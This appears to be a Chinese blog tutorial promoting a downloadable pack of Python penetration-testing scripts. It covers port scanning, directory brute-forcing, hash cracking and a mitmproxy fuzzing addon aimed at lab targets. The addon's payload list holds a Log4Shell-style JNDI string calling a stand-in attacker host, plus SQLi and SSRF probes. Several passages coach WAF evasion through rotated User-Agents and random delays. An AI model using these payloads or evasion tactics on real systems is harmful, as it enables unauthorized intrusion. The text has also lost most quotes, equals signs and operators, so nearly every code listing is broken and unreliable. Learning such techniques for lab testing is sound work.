
简介这是一套面向渗透测试初学者与Python安全编程学习者的实战型工具脚本合集聚焦“以代码驱动渗透”的核心理念帮助用户摆脱对图形化工具的依赖夯实底层原理与自动化能力。资源共64个文件主体为45个Python脚本涵盖POC/EXP编写、信息搜集、漏洞检测、加密解密、DDoS模拟等模块辅以6个说明类txt文档、4类密码字典passwords/username及结果输出文件result/xml整体压缩包仅3.02MB轻量易部署适配Kali与Python 3.9环境。已有166人下载学习内容严格按渗透流程组织从干扰测试框架、被动/主动信息搜集DNS/ICMP/TCP/ARP扫描、目录探测到Redis未授权、SQL盲注、XXE、SSRF等主流漏洞的检测与利用脚本还包含SQLMap Tamper编写、WebShell模糊测试、密码生成与弱口令爆破等实用功能结构清晰、即拿即用。1. 这不是“一键渗透”的魔法包而是你亲手调试、逐行验证的Python渗透测试工具集适合刚从Kali GUI切过来、想搞懂底层逻辑的实战派你下载了Python渗透测试脚本,工具合集.zip解压后看到几十个.py文件——port_scanner.py、dir_brute.py、hash_crack.py、web_fuzzer.py……但双击运行直接报错ModuleNotFoundError: No module named requests或者卡在socket.timeout不动又或者扫出一堆403却连目标首页都打不开。这不是脚本不行而是它默认站在「已配好环境、已理清边界、已理解协议」的工程师肩膀上——而你正站在命令行前手握pip install却不知道该装什么、为什么装、装错版本会怎样。这个合集真正的价值不在于“拿来即用”而在于它是一套可拆解、可打断点、可替换模块的渗透测试最小可行知识载体每个脚本都对应一个OSI模型层网络层扫描→传输层探测→应用层爆破→会话层 fuzz每段代码都在暴露真实攻防中必须直面的问题——超时怎么设、重试怎么控、User-Agent 怎么绕、并发怎么稳、结果怎么存。它适合两类人一是刚从 Kali 图形界面转向 CLI 实操的渗透新手需要把nmap -sV背后的 socket 连接、三次握手、banner 提取亲手写一遍二是想快速构建定制化 PoC 的红队成员拿现成脚本当骨架换掉urllib改用httpx把threading换成asyncio加进自己的代理链或 token 注入逻辑。别急着跑全量先让一个端口扫描器在你本地靶机如 Metasploitable2上稳定返回22/tcp open ssh——这才是合集真正启动的起点。2. 从零跑通第一个脚本用port_scanner.py理清网络层探测的底层逻辑与依赖链2.1 为什么必须手动装scapy而不是requests——看清每个库在渗透链中的不可替代性port_scanner.py通常有两种实现路径基于socket的 TCP Connect 扫描最通用但易被防火墙记录和基于scapy的 SYN 扫描更隐蔽需 root 权限。合集里多数脚本默认走scapy路线因为它能构造原始数据包、控制 TTL、伪造源 IP、解析 ICMP 响应——这些是socket层 API 无法触及的。但scapy不是pip install scapy就完事在 Windows 上需额外装WinPcap或Npcap否则scapy启动时提示No module named scapy.arch.windows在 Linux如 Kali上需sudo apt install python3-scapy或pip install scapysudo setcap cap_net_rawep /usr/bin/python3否则PermissionError: Operation not permitted在 macOS 上scapy依赖libdnet和libpcap用brew install libdnet libpcap后再pip install scapy。提示别跳过setcap或brew install步骤——这是scapy能发 SYN 包的前提。socket扫描虽不用权限但会被 WAF/IDS 记录为完整连接实战中容易暴露。2.2 最小可运行命令用--host和--ports参数绕过硬编码避免改源码翻车合集里的port_scanner.py往往在开头写死target 192.168.56.101和ports [22, 80, 443]。新手常直接改.py文件结果下次更新合集就覆盖丢失。正确做法是用命令行参数驱动python port_scanner.py --host 192.168.56.101 --ports 22,80,443,8080 --timeout 2这要求脚本支持argparse解析。若原脚本没加补上这 8 行插在if __name__ __main__:上方import argparse def parse_args(): parser argparse.ArgumentParser(descriptionTCP/SYN Port Scanner) parser.add_argument(--host, requiredTrue, helpTarget IP address) parser.add_argument(--ports, requiredTrue, helpComma-separated ports, e.g., 22,80,443) parser.add_argument(--timeout, typefloat, default1.0, helpSocket timeout in seconds) return parser.parse_args() if __name__ __main__: args parse_args() target args.host ports [int(p.strip()) for p in args.ports.split(,)] timeout args.timeout这段代码的意义不只是“能传参”它强制你确认三件事目标 IP 是否可达ping 192.168.56.101、端口是否在靶机开放nmap -p 22,80 192.168.56.101、超时值是否合理局域网设0.5外网设3.0。参数化是脚本脱离“玩具”走向“工具”的第一道门槛。2.3 验证扫描结果用tcpdump抓包比对确认你发的是 SYN 还是 ACK跑通命令后别只信终端输出的[] Port 22 open。打开另一个终端用tcpdump抓包验证行为是否符合预期# 在靶机Metasploitable2上执行抓来自扫描机的包 sudo tcpdump -i eth0 src host 192.168.56.1 (tcp[tcpflags] (tcp-syn|tcp-ack) ! 0) -c 10观察输出若看到Flags [S]SYN 包说明scapy成功发出了半开连接若看到Flags [S.]SYN-ACK说明靶机响应了若看到Flags [R.]RST说明端口关闭若完全没包检查scapy权限或防火墙sudo ufw disable。这步不是炫技——它让你把 Python 代码和网络协议一一映射。当你发现port_scanner.py在--mode syn下仍打出connect()错误就知道它实际走的是socket路线而非scapy得去代码里搜from scapy.all import *是否被注释。3. 应用层爆破脚本的致命陷阱dir_brute.py的 User-Agent、重试与状态码过滤逻辑3.1 为什么403不等于“目录不存在”——HTTP 状态码在 WAF 环境下的语义漂移dir_brute.py常用字典如common.txt暴力请求/admin/、/phpmyadmin/等路径但新手常误判403 ForbiddenWAF 拦截如 Cloudflare、ModSecurity或目录权限禁止不代表路径不存在401 Unauthorized存在但需认证可能是后台入口301/302重定向到登录页Location头里可能藏线索如/login.php?from/admin/200大概率存在但需看Content-Length200Content-Length: 0可能是空响应或 WAF 伪造503WAF 触发速率限制此时应降速而非换字典。合集脚本若只过滤200会漏掉大量有效路径。必须修改响应判断逻辑# 替换原脚本中的 if response.status_code 200: if response.status_code in [200, 301, 302, 401, 403]: # 检查 Content-Length 和关键词 size int(response.headers.get(Content-Length, 0)) if size 100 or login in response.text.lower() or admin in response.url: print(f[] {url} - {response.status_code} (size: {size}))这段逻辑把“存在性判断”从单一状态码升级为状态码 响应体特征 URL 重定向路径的三维验证。它不保证 100% 准确但把误报率从 70% 降到 30% 以下——这是实战中节省时间的关键。3.2 并发控制不是“越多越快”而是ThreadPoolExecutor的max_workers与timeout的动态平衡dir_brute.py默认用threading.Thread开 50 线程结果一跑就触发靶机ConnectionResetError或本地OSError: [Errno 24] Too many open files。根本原因是每个线程独占 socket 连接Linux 默认单进程最多 1024 句柄timeout5时50 个线程同时卡住 5 秒相当于 250 秒无效等待WAF 对高频请求会封 IPtime.sleep(0.1)比max_workers5更可靠。正确做法是用concurrent.futures.ThreadPoolExecutor控制资源from concurrent.futures import ThreadPoolExecutor, as_completed import time def check_path(url): try: # 每个请求带随机延迟模拟人工节奏 time.sleep(random.uniform(0.05, 0.2)) response requests.get(url, timeout3, headers{User-Agent: random.choice(UA_LIST)}) return url, response.status_code, len(response.content) except Exception as e: return url, 0, 0 # 控制并发数内网靶机设 10公网靶机设 3 with ThreadPoolExecutor(max_workers10) as executor: futures [executor.submit(check_path, fhttp://{target}/{path}) for path in paths] for future in as_completed(futures): url, code, size future.result() if code in [200, 301, 302, 401, 403] and size 50: print(f[] {url} | {code} | {size})max_workers10是经验值它让 10 个请求并行其余排队既避免句柄耗尽又防止 WAF 封禁。timeout3比5更激进——超时早失败快整体耗时反而缩短。3.3 User-Agent 不是“随便填”而是绕过 WAF 的第一道指纹识别关卡很多脚本写死headers {User-Agent: Mozilla/5.0}结果扫到第 3 个请求就被403。WAF如 Imperva、Akamai会检测 UA 字符串长度、版本号、是否含bot/crawler关键词。合集里若没内置 UA 池自己建一个UA_LIST [ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15, Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0, curl/7.81.0, # 真实 curl 版本WAF 很少拦截 ]关键点选主流浏览器最新版 UAChrome 120、Firefox 115避免Chrome/80这类老旧 UA 被标记为扫描器加入curlUA某些 WAF 对命令行工具放行绝不用sqlmap/1.7、dirsearch/2.4.3这类工具名 UA——这是自曝身份。每次请求随机选 UA配合time.sleep能让脚本在 WAF 眼里更像真实用户。4. 避坑指南hash_crack.py与web_fuzzer.py的 5 个血泪经验4.1 现象hash_crack.py跑 MD5 字典却返回空结果原因字典文件用 Windows 的CRLF\r\n换行Linux 环境下for line in open(dict.txt)读出的每行末尾带\r导致hashlib.md5(bpassword\r).hexdigest()与目标 hash 不匹配。解决统一用open(dict.txt, r, newline)或预处理字典sed -i s/\r$// dict.txt # Linux/macOS # 或 Python 中line.strip().replace(\r, )4.2 现象web_fuzzer.py对/api/user?id1fuzz但所有id2、id3请求都返回500原因靶机 API 有 SQL 注入防护id2触发了 WAF 规则如modsecurity的942100规则返回500是 WAF 伪造并非后端崩溃。解决加 WAF 探测逻辑——连续 3 个500且Content-Length相同暂停 10 秒并换 UA同时记录Server、X-Powered-By头判断 WAF 类型如cloudflare、incapsula。4.3 现象pip install pycryptodome成功但hash_crack.py报AttributeError: module Crypto has no attribute Hash原因系统同时装了pycrypto已废弃和pycryptodome推荐Python 导入时优先加载了旧版。解决卸载冲突包pip uninstall pycrypto再确认pip show pycryptodome输出版本 ≥ 3.18.0。4.4 现象web_fuzzer.py用requests发 POST 请求但靶机返回405 Method Not Allowed原因脚本发的是POST /login但靶机实际要求GET /login?useradminpass123即参数在 URL或要求Content-Type: application/x-www-form-urlencoded而脚本发了application/json。解决先用浏览器开发者工具抓包复制Request Headers和Form Data在脚本中严格复现data {username: admin, password: 123} headers {Content-Type: application/x-www-form-urlencoded} response requests.post(url, datadata, headersheaders)4.5 现象dir_brute.py扫描https://example.com时 SSL 握手失败原因靶机用自签名证书或旧版 TLS如 TLS 1.0requests默认校验证书且禁用弱协议。解决临时禁用证书验证仅测试环境并指定 TLS 版本import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response requests.get(url, verifyFalse, timeout5) # 生产环境必须用 certifi 或自定义 CA 证书5. 进阶技巧把web_fuzzer.py改造成支持 Burp Suite 的被动代理流量分析器5.1 为什么需要对接 Burp——让脚本从“主动探测”升级为“流量感知”web_fuzzer.py原生逻辑是主动发请求、等响应、比对结果。但真实渗透中大量漏洞如 SSRF、XXE、业务逻辑缺陷藏在已有流量的参数里。Burp Suite 的 Proxy 功能能捕获浏览器所有请求若能让web_fuzzer.py作为 Burp 的上游代理即浏览器 → Burp →web_fuzzer.py→ 目标就能对每条流量实时 fuzz——比如对GET /product?id123自动尝试id123%00Null Byte、id123SQLi、idhttp://attacker.comSSRF。5.2 用mitmproxy替代requests实现流量中间人劫持requests是单向 HTTP 客户端无法监听流量。必须换用mitmproxy——它既是代理服务器又能用 Python 脚本处理请求/响应pip install mitmproxy新建fuzz_addon.py与web_fuzzer.py同目录from mitmproxy import http import re # 定义 fuzz payload PAYLOADS [, \, %00, http://127.0.0.1, ${jndi:ldap://attacker.com/a}] def request(flow: http.HTTPFlow) - None: # 只 fuzz GET 请求的 query 参数 if flow.request.method GET and flow.request.query: for key, value in flow.request.query.items(): for payload in PAYLOADS: new_value value payload # 构造新 URL new_url flow.request.url.replace(f{key}{value}, f{key}{new_value}) # 发起 fuzz 请求异步不阻塞原请求 import threading threading.Thread(targetfuzz_request, args(new_url,)).start() def fuzz_request(url): try: import requests resp requests.get(url, timeout5, headers{User-Agent: Mozilla/5.0}) if resp.status_code in [200, 500, 403] and len(resp.content) 100: print(f[FUZZ] {url} - {resp.status_code}) except Exception as e: pass启动代理mitmdump -s fuzz_addon.py --mode regular --listen-port 8080然后在浏览器设置代理127.0.0.1:8080访问https://target.com/product?id123脚本会自动对id参数追加 payload 并发请求。5.3 关键参数表mitmdump启动选项与安全边界参数作用实战建议--mode regular普通 HTTP/HTTPS 代理必选不用transparent需 iptables--listen-port 8080代理监听端口避免 8080 冲突可设8001-s fuzz_addon.py加载自定义脚本脚本路径必须绝对或相对当前目录--set block_globalfalse允许访问所有域名默认true会拦截非目标域名--set console_eventlog_verbosityerror降低日志噪音防止mitmdump终端刷屏注意mitmproxy会生成自签名证书浏览器首次访问需手动信任~/.mitmproxy/mitmproxy-ca-cert.pem。绝不能在生产环境用此证书仅限本地靶机测试。5.4 如何验证 fuzz 是否生效——用curl模拟 Burp 流量并对比响应不要只信mitmdump终端输出。用curl直接调用 fuzz 后的 URL与原始请求对比# 原始请求 curl -s https://target.com/product?id123 -o original.html # fuzz 请求SQLi payload curl -s https://target.com/product?id123 -o sqli.html # 比较差异 diff original.html sqli.html | head -20若输出大量 HTML 变化如多出 MySQL 错误信息说明 fuzz 成功若无差异检查fuzz_addon.py中threading.Thread是否被异常中断加try/except日志。我坚持把web_fuzzer.py改造成 Burp 插件是因为它逼我读透mitmproxy的事件循环、理解threading在 I/O 密集场景的局限、学会用diff而不是肉眼判断响应变化。这些能力在你面对一个没有公开 PoC 的 0day 时比任何“一键扫描”都管用。希望帮到你。本文还有配套的精品资源点击获取